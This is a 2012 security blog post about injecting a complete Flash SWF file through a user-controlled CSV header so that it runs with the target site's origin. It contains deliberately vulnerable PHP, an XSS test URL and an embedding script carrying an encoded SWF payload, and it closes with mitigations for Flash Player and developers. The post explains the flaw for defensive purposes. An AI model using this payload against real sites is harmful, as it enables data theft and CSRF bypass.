Content-Type Blues

By | February 29, 2012

Assuming an attacker can control the start of a CSV file served up by a web application, what damage could be done?  The example PHP code below serves up a basic CSV file, but allows the user to control the column names. Note that the Content-Type header is at least set properly.

<?php
header('Content-Type: text/csv');
header('Content-Disposition: inline; filename=blah.csv');
header('Content-Length: ' . 20);

echo $_GET["columnNames"] . "\r\n";
echo "1,2,3,4,5\r\n";
echo "data,we,do,not,control";
?>

Our first attempt might involve injecting in a XSS payload.

http://target/csvServe.php?columnNames=a,b,c,d,e<html><body><script>alert(1)</script></body</html>

This seems like a reasonable approach since the application accepts and uses the columnNames parameter without performing any input validation or output encoding. But, the browser, even our old friend IE, will not render the content as HTML due to the Content-Type header’s value (text/csv). Note that this would be exploitable if the Content-Type header was set to text/plain instead, because IE will perform content sniffing in that situation.

Out of luck? Nope, just inject in an entire SWF file into the columnNames parameter. A SWF’s origin is the domain from which it was retrieved from, similar to a Java applet (uses IP addresses instead of domain names though), therefore a malicious page could embed a SWF, which originates from the target’s domain that could make arbitrary requests to the target domain and read the responses (steal sensitive data, defeat CSRF protections, and other generally nasty actions).  But, what about the data in the CSV that we don’t control?  The Flash Player will ignore the content following a well formed SWF and execute the SWF properly. The following JavaScript code snippet demonstrates this technique. Since both browsers and HTTP servers impose limits on the length of URLs, I would recommend writing the payload in ActionScript 2 using a command-line compiler like MTASC or an assembler like Flasm in order to craft a small SWF. Sadly, Flex is bloated, so mxmlc is not an option.

<script>
var flashvars = {};
var params = {};					
var attributes = {};
var url="http://target/csvServe.php?columnNames=CWS%07%AA%01%00%00x%DADP%C1N%021%14%9C%ED%22-j0%21%24%EB%81%03z%E3%E2%1F%18XI%88%1E%607%C0%C1%8B%D9%ACP%91X%ECf%A9%01%BF%40N%1C%F7%E6%DD%CF%F1%8F%F0%B5K%E2%3BL%DFL%DA%E9%9B%B7%05%FF%05%82%0Chz%E8%B3%03U%AD%0A%AA%D8%23%E8%D6%9B%84%D4%C5I%12%A7%B3%B7t%21%D77%D3%0F%A3q%A8_%DA%0B%F1%EE%09gpJ%B2P%FA9U0%2FHr%AD%0Df%B9L%8D%9C%CA%AD%19%2C%A5%9A%C3P%87%7B%A9%94not%AE%E6%ED%2Bd%B96%DA%7Cf%12%ABt%F9%8E4%CB%10N%26%D2%C4%B9%CE%06%2A%5D%ACQ0%08%B4%1A%8Do%86%1FG%BC%96%93%F6%C2%0E%C9%3A%08Q%5C%83%3F2%80%B7%7D%02%2B%FF%83%60%DC%A6%11%BE%7BU%19%07%F6%28%09%1B%15%15%88%13Q%8D%BE%28ID%84%28%1F%11%F1%82%92%88%FD%B9%0D%EFw%C0V34%8F%B3%145%88Zi%8E%5E%14%15%17%E0v%13%AC%E2q%DF%8A%A7%B7%01%BA%FE%1D%B5%BB%16%B9%0C%A7%E1%A4%9F%0C%C3%87%11%CC%EBr%5D%EE%CA%A5uv%F6%EF%E0%98%8B%97N%82%B9%F9%FCq%80%1E%D1%3F%00%00%00%FF%FF%03%00%84%26N%A8";
swfobject.embedSWF(url, "content", "400", "200", "10.0.0", "expressInstall.swf", flashvars, params, attributes);
</script>

Ideally, web applications wouldn’t accept arbitrary content to build a CSV, but the Flash Player could also take steps to prevent this attack from occurring.  The following improvements could be made, but  will likely break some existing RIAs that fail to set the Content-Type header properly on their SWFs.

1) Refuse to play any SWF that does not have a correct MIME type (application/x-shockwave-flash).
2) Refuse to play any SWF that has erroneous data at the end of the file.

Moral of the story: setting the content type properly is not a substitute for proper input validation.